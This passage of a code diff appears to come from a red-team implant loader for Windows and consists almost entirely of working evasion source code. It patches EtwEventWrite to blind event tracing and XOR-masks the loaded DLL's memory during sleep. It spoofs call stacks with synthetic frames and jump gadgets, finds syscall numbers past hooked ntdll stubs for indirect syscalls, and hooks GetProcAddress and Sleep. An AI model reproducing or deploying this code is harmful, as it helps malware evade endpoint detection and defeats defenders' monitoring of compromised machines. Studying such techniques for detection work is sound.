(PVOID)(ULONG_PTR)dwFreeType};
if (!SpoofedSyscall(NTFREEVIRTUALMEMORY_HASH, args, 4))
return FALSE;
return TRUE;
}
+7
View File
@@ -0,0 +1,7 @@
#include "utils/debug.h"
#include "utils/utils.h"
#include "spoof.h"
#include "syscalls.h"
#include "nt_hashes.h"
BOOL SpoofedSyscall(DWORD functionHash, PVOID *args, int argsc);
+70
View File
@@ -0,0 +1,70 @@
#include "mask.h"
// Random key patched by Crystal Palace spec
#define XOR_KEY_LEN 128
char XOR_KEY[XOR_KEY_LEN] = {1};
BOOL IsWriteable(DWORD protection)
{
if (protection == PAGE_EXECUTE_READWRITE ||
protection == PAGE_EXECUTE_WRITECOPY ||
protection == PAGE_READWRITE ||
protection == PAGE_WRITECOPY)
{
return TRUE;
}
return FALSE;
}
void ApplyMask(char *data, DWORD len)
{
XORData(data, len, XOR_KEY, XOR_KEY_LEN);
}
void EncryptSection(MEMORY_SECTION *section, BOOL mask)
{
/* if we're masking and the section needs to be made writeable */
if (mask && !IsWriteable(section->CurrentProtect))
{
DWORD old_protect = 0;
/* set the section permissions to RW */
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect))
{
/*
* store the old protection so
* it can be set back later
*/
section->CurrentProtect = PAGE_READWRITE;
section->PreviousProtect = old_protect;
}
}
if (IsWriteable(section->CurrentProtect))
{
/* section is writeable, so XOR it */
ApplyMask(section->BaseAddress, section->Size);
}
/* if we're unmasking and the section permissions need to be set back */
if (mask == FALSE && section->CurrentProtect != section->PreviousProtect)
{
DWORD old_protect = 0;
/* set the section permissions back to PreviousProtect */
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, section->PreviousProtect, &old_protect))
{
section->CurrentProtect = section->PreviousProtect;
section->PreviousProtect = old_protect;
}
}
}
void MaskMemory(MEMORY_LAYOUT *memory, BOOL mask)
{
for (size_t i = 0; i < memory->Dll.Count; i++)
{
EncryptSection(&memory->Dll.Sections[i], mask);
}
}
+8
View File
@@ -0,0 +1,8 @@
#include <windows.h>
#include "include/memory.h"
#include "utils/utils.h"
#include "utils/debug.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
void MaskMemory(MEMORY_LAYOUT *memory, BOOL isMasked);
+37
View File
@@ -0,0 +1,37 @@
// Generated automatically
// Do not edit manually
#pragma once
#ifndef _NTFUNC_HASHES
#define _NTFUNC_HASHES
// Nt* Functions
#define NTDLL_HASH 0x3CFA685D
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
#define NTWRITEVIRTUALMEMORY_HASH 0xC5108CC2
#define NTFREEVIRTUALMEMORY_HASH 0xDB63B5AB
#define NTQUERYVIRTUALMEMORY_HASH 0x4F138492
#define NTCREATESECTION_HASH 0x5BB29BCB
#define NTMAPVIEWOFSECTION_HASH 0xD5159B94
#define NTUNMAPVIEWOFSECTION_HASH 0xF21037D0
#define NTREADVIRTUALMEMORY_HASH 0x3AEFA5AA
#define NTQUERYINFORMATIONPROCESS_HASH 0xB10FD839
#define NTSETINFORMATIONTHREAD_HASH 0xE3D6909C
#define NTRESUMETHREAD_HASH 0xC54A46C8
#define NTSUSPENDTHREAD_HASH 0x488D64DC
#define NTCREATETHREADEX_HASH 0x4D1DEB74
#define NTOPENTHREAD_HASH 0x59651E8C
#define NTTERMINATEPROCESS_HASH 0x7929BBF3
#define NTWAITFORSINGLEOBJECT_HASH 0xAE06C1B2
#define NTDELAYEXECUTION_HASH 0xD4F11852
#define NTCREATEFILE_HASH 0x03888F9D
#define NTREADFILE_HASH 0x84FCD516
#define NTWRITEFILE_HASH 0x680E1933
#define NTCLOSE_HASH 0xDCD44C5F
// ETW
#define ETWEVENTWRITE_HASH 0x2047C3EE
#endif
+27
View File
@@ -0,0 +1,27 @@
#include "patch.h"
BOOL patchEtw() {
INFO_MSG("Patching ETW");
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
PVOID pTarget = findFunctionByHash(pNtdll, ETWEVENTWRITE_HASH);
if (!pTarget) {
ERROR_MSG("Failed to find function by hash 0x%08X", pTarget);
return FALSE;
}
DWORD oldProt = 0;
if (!KERNEL32$VirtualProtect(pTarget, 16, PAGE_READWRITE, &oldProt))
return FALSE;
// mov eax, 0xC0000022 (STATUS_ACCESS_DENIED); ret
PBYTE pPatch = (PBYTE)pTarget;
pPatch[0] = 0xB8u; // mov eax
*(DWORD*)(pPatch + 1) = 0xC0000022u; // STATUS_ACCESS_DENIED
pPatch[5] = 0xC3u; // ret
KERNEL32$VirtualProtect(pTarget, 16, oldProt, &oldProt);
SUCCESS_MSG("ETW Patched");
return TRUE;
}
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <windows.h>
#include "utils/debug.h"
#include "nt_hashes.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
BOOL patchEtw();
+424
View File
@@ -0,0 +1,424 @@
#include "spoof.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);
DECLSPEC_IMPORT RUNTIME_FUNCTION *WINAPI KERNEL32$RtlLookupFunctionEntry(DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx(PULONG);
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct
{
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum
{
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union
{
struct
{
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct
{
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO;
typedef struct
{
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct
{
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct
{
FUNCTION_CALL *FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct
{
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub(PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
#define draugr_arg(i) (ULONG_PTR)(call->args[i])
void init_frame_info(SYNTHETIC_STACK_FRAME *frame)
{
PVOID frame1_module = KERNEL32$GetModuleHandleA("kernel32.dll");
PVOID frame2_module = KERNEL32$GetModuleHandleA("ntdll.dll");
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)frame1_module, "BaseThreadInitThunk");
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)frame2_module, "RtlUserThreadStart");
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
}
BOOL get_text_section_size(PVOID module, PDWORD virtual_address, PDWORD size)
{
IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)(module);
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
{
return FALSE;
}
IMAGE_NT_HEADERS *nt_headers = (IMAGE_NT_HEADERS *)((UINT_PTR)module + dos_header->e_lfanew);
if (nt_headers->Signature != IMAGE_NT_SIGNATURE)
{
return FALSE;
}
IMAGE_SECTION_HEADER *section_header = IMAGE_FIRST_SECTION(nt_headers);
for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++)
{
DWORD h = ror13hash((char *)section_header[i].Name);
if (h == TEXT_HASH)
{
*virtual_address = section_header[i].VirtualAddress;
*size = section_header[i].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size(RUNTIME_FUNCTION *runtime_function, const DWORD64 image_base)
{
UNWIND_INFO *unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = {0};
if (!runtime_function)
{
return NULL;
}
unwind_info = (UNWIND_INFO *)(runtime_function->UnwindData + image_base);
while (index < unwind_info->CountOfCodes)
{
unwind_operation = unwind_info->UnwindCode[index].UnwindOp;
operation_info = unwind_info->UnwindCode[index].OpInfo;
/* don't use switch as it produces jump tables */
if (unwind_operation == UWOP_PUSH_NONVOL)
{
stack_frame.TotalStackSize += 8;
if (operation_info == RBP_OP_INFO)
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if (unwind_operation == UWOP_SAVE_NONVOL)
{
index += 1;
}
else if (unwind_operation == UWOP_ALLOC_SMALL)
{
stack_frame.TotalStackSize += ((operation_info * 8) + 8);
}
else if (unwind_operation == UWOP_ALLOC_LARGE)
{
index += 1;
frame_offset = unwind_info->UnwindCode[index].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += (unwind_info->UnwindCode[index].FrameOffset << 16);
}
stack_frame.TotalStackSize += frame_offset;
}
else if (unwind_operation == UWOP_SET_FPREG)
{
stack_frame.SetsFramePointer = TRUE;
}
else if (unwind_operation == UWOP_SAVE_XMM128)
{
return NULL;
}
index += 1;
}
if (0 != (unwind_info->Flags & UNW_FLAG_CHAININFO))
{
index = unwind_info->CountOfCodes;
if (0 != (index & 1))
{
index += 1;
}
runtime_function = (RUNTIME_FUNCTION *)(&unwind_info->UnwindCode[index]);
return calculate_function_stack_size(runtime_function, image_base);
}
stack_frame.TotalStackSize += 8;
return (PVOID)(stack_frame.TotalStackSize);
}
PVOID calculate_function_stack_size_wrapper(PVOID return_address)
{
RUNTIME_FUNCTION *runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if (!return_address)
{
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry((DWORD64)return_address, &image_base, history_table);
if (NULL == runtime_function)
{
return NULL;
}
return calculate_function_stack_size(runtime_function, image_base);
}
PVOID find_gadget(PVOID module)
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list[15] = {0};
if (!found_gadgets)
{
if (!get_text_section_size(module, &text_section_va, &text_section_size))
{
return NULL;
}
module_text_section = (PBYTE)((UINT_PTR)module + text_section_va);
for (int i = 0; i < (int)(text_section_size - 2); i++)
{
/* x64 opcodes are ff 23 */
if (((PBYTE)module_text_section)[i] == 0xFF && ((PBYTE)module_text_section)[i + 1] == 0x23)
{
gadget_list[counter] = (PVOID)((UINT_PTR)module_text_section + i);
counter++;
if (counter == 15)
{
break;
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx(&seed);
random %= counter;
return gadget_list[random];
}
ULONG_PTR draugr_wrapper(PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12)
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = {0};
if (ssn)
{
draugr_params.Ssn = (PVOID)(ULONG_PTR)ssn;
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info(&frame);
return_address = (PVOID)((UINT_PTR)frame.Frame1.FunctionAddress + frame.Frame1.Offset);
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(return_address);
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if (!draugr_params.BaseThreadInitThunkStackSize || !draugr_params.BaseThreadInitThunkReturnAddress)
{
return (ULONG_PTR)(NULL);
}
return_address = (PVOID)((UINT_PTR)frame.Frame2.FunctionAddress + frame.Frame2.Offset);
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(return_address);
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if (!draugr_params.RtlUserThreadStartStackSize || !draugr_params.RtlUserThreadStartReturnAddress)
{
return (ULONG_PTR)(NULL);
}
do
{
draugr_params.Trampoline = find_gadget(frame.Gadget);
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper(draugr_params.Trampoline);
attempts++;
if (attempts > 15)
{
return (ULONG_PTR)(NULL);
}
} while (draugr_params.TrampolineStackSize == NULL || ((__int64)draugr_params.TrampolineStackSize < 0x80));
if (!draugr_params.Trampoline || !draugr_params.TrampolineStackSize)
{
return (ULONG_PTR)(NULL);
}
return (ULONG_PTR)draugr_stub(arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12);
}
ULONG_PTR spoof_call(FUNCTION_CALL *call)
{
/* very inelegant */
if (call->argc == 0)
{
return draugr_wrapper(call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 1)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 2)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 3)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 4)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 5)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 6)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), NULL, NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 7)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), NULL, NULL, NULL, NULL, NULL);
}
else if (call->argc == 8)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), NULL, NULL, NULL, NULL);
}
else if (call->argc == 9)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), NULL, NULL, NULL);
}
else if (call->argc == 10)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), NULL, NULL);
}
else if (call->argc == 11)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), (PVOID)draugr_arg(10), NULL);
}
else if (call->argc == 12)
{
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), (PVOID)draugr_arg(10), (PVOID)draugr_arg(11));
}
else
{
return (ULONG_PTR)(NULL);
}
}
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#include <windows.h>
#include "utils/debug.h"
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
DWORD ssn;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
+148
View File
@@ -0,0 +1,148 @@
#include "syscalls.h"
#define SYS_STUB_SIZE 32
#define UP -SYS_STUB_SIZE
#define DOWN SYS_STUB_SIZE
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate)
{
PIMAGE_DOS_HEADER pDosHdr = NULL;
PIMAGE_NT_HEADERS pNtHdrs = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
DWORD dwSyscallNr = 0;
PVOID pIndirect = NULL;
PDWORD pdwAddrOfFunctions = NULL;
PWORD pwAddrOfNameOrdinals = NULL;
WORD wIdxStub = 0;
WORD wIdxfName = 0;
BOOL bHooked = FALSE;
pDosHdr = (PIMAGE_DOS_HEADER)ntdll;
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)ntdll + pDosHdr->e_lfanew);
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ntdll + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress);
pdwAddrOfFunctions = (PDWORD)((PBYTE)ntdll + pExportDir->AddressOfFunctions);
pwAddrOfNameOrdinals = (PWORD)((PBYTE)ntdll + pExportDir->AddressOfNameOrdinals);
for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++)
{
if (*((PBYTE)func + wIdxStub) == 0xe9)
{
bHooked = TRUE;
break;
}
if (*((PBYTE)func + wIdxStub) == 0xc3)
return FALSE;
if (*((PBYTE)func + wIdxStub) == 0x4c &&
*((PBYTE)func + wIdxStub + 1) == 0x8b &&
*((PBYTE)func + wIdxStub + 2) == 0xd1 &&
*((PBYTE)func + wIdxStub + 3) == 0xb8 &&
*((PBYTE)func + wIdxStub + 6) == 0x00 &&
*((PBYTE)func + wIdxStub + 7) == 0x00)
{
BYTE low = *((PBYTE)func + 4 + wIdxStub);
BYTE high = *((PBYTE)func + 5 + wIdxStub);
dwSyscallNr = (high << 8) | low;
break;
}
}
if (bHooked)
{
for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++)
{
if ((PBYTE)func + wIdxfName * DOWN < ((PBYTE)ntdll + pdwAddrOfFunctions[pwAddrOfNameOrdinals[pExportDir->NumberOfFunctions - 1]]))
{
if (*((PBYTE)func + wIdxfName * DOWN) == 0x4c &&
*((PBYTE)func + 1 + wIdxfName * DOWN) == 0x8b &&
*((PBYTE)func + 2 + wIdxfName * DOWN) == 0xd1 &&
*((PBYTE)func + 3 + wIdxfName * DOWN) == 0xb8 &&
*((PBYTE)func + 6 + wIdxfName * DOWN) == 0x00 &&
*((PBYTE)func + 7 + wIdxfName * DOWN) == 0x00)
{
BYTE high = *((PBYTE)func + 5 + wIdxfName * DOWN);
BYTE low = *((PBYTE)func + 4 + wIdxfName * DOWN);
dwSyscallNr = (high << 8) | (low - wIdxfName);
func = (PVOID)((PBYTE)func + wIdxfName * DOWN);
break;
}
}
if ((PBYTE)func + wIdxfName * UP > ((PBYTE)ntdll + pdwAddrOfFunctions[pwAddrOfNameOrdinals[0]]))
{
if (*((PBYTE)func + wIdxfName * UP) == 0x4c &&
*((PBYTE)func + 1 + wIdxfName * UP) == 0x8b &&
*((PBYTE)func + 2 + wIdxfName * UP) == 0xd1 &&
*((PBYTE)func + 3 + wIdxfName * UP) == 0xb8 &&
*((PBYTE)func + 6 + wIdxfName * UP) == 0x00 &&
*((PBYTE)func + 7 + wIdxfName * UP) == 0x00)
{
BYTE high = *((PBYTE)func + 5 + wIdxfName * UP);
BYTE low = *((PBYTE)func + 4 + wIdxfName * UP);
dwSyscallNr = (high << 8) | (low + wIdxfName);
func = (PVOID)((PBYTE)func + wIdxfName * UP);
break;
}
}
}
}
if (func && dwSyscallNr)
{
for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++)
{
if (*((PBYTE)func + wIdxStub) == 0x0f &&
*((PBYTE)func + wIdxStub + 1) == 0x05 &&
*((PBYTE)func + wIdxStub + 2) == 0xc3)
{
pIndirect = (LPVOID)((PBYTE)func + wIdxStub);
break;
}
}
}
/* set values */
gate->ssn = dwSyscallNr;
gate->jmpAddr = pIndirect;
return TRUE;
}
void __attribute__((naked)) PrepareSyscall(DWORD ssn __attribute__((unused)), PVOID addr __attribute__((unused)))
{
__asm__ __volatile__(
".intel_syntax noprefix;"
"xor r11, r11;"
"xor r10, r10;"
"mov r11, rcx;"
"mov r10, rdx;"
"ret;"
".att_syntax prefix");
}
void __attribute__((naked)) DoSyscall()
{
__asm__ __volatile__(
".intel_syntax noprefix;"
"push r10;"
"xor rax, rax;"
"mov r10, rcx;"
"mov eax, r11d;"
"ret;"
".att_syntax prefix");
}
+23
View File
@@ -0,0 +1,23 @@
#pragma once
#include <windows.h>
#include "utils/debug.h"
// NT API Status
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// Structs
typedef struct
{
DWORD ssn;
PVOID jmpAddr;
} SYSCALL_GATE;
// Functions
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate);
void PrepareSyscall(DWORD ssn, PVOID addr);
void DoSyscall();
+31
View File
@@ -0,0 +1,31 @@
#include <windows.h>
#pragma once
#ifndef _MEMORY_LAYOUT
#define _MEMORY_LAYOUT
#define MAX_SECTIONS 16
typedef struct
{
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct
{
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections[MAX_SECTIONS];
SIZE_T Count;
} DLL_MEMORY;
typedef struct
{
DLL_MEMORY Dll;
} MEMORY_LAYOUT;
#endif
+102
View File
@@ -0,0 +1,102 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+124
View File
@@ -0,0 +1,124 @@
#include "pico.h"
FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
// lpProcName may be an ordinal
if ((ULONG_PTR)lpProcName >> 16 == 0)
{
// just resolve normally
return GetProcAddress(hModule, lpProcName);
}
FARPROC result = __resolve_hook(ror13hash(lpProcName));
// result may still be NULL if it wasn't hooked in the spec
if (result != NULL)
{
return result;
}
WARN_MSG("The '%s' function is not hooked", lpProcName);
return GetProcAddress(hModule, lpProcName);
}
// Rewrite GetProcAddress to our _GetProcAddress function
void SetupHooks(IMPORTFUNCS *funcs)
{
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
}
void SetupMemory(MEMORY_LAYOUT *memory)
{
if (memory != NULL)
gMemory = *memory;
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
INFO_MSG("\t\tCalling _Sleep");
/*
* for performance reasons, only mask
* memory if sleep time is equal to
* or greater than 1 second
*/
if (dwMilliseconds >= 1000)
{
MaskMemory(&gMemory, TRUE);
}
LARGE_INTEGER delay;
delay.QuadPart = - (LONGLONG)(dwMilliseconds * 10000LL);
PVOID args[2] = {
FALSE,
&delay};
SpoofedSyscall(NTDELAYEXECUTION_HASH, args, 2);
if (dwMilliseconds >= 1000)
{
MaskMemory(&gMemory, FALSE);
}
}
void *GetExportAddress(char *base, const char *targetName)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
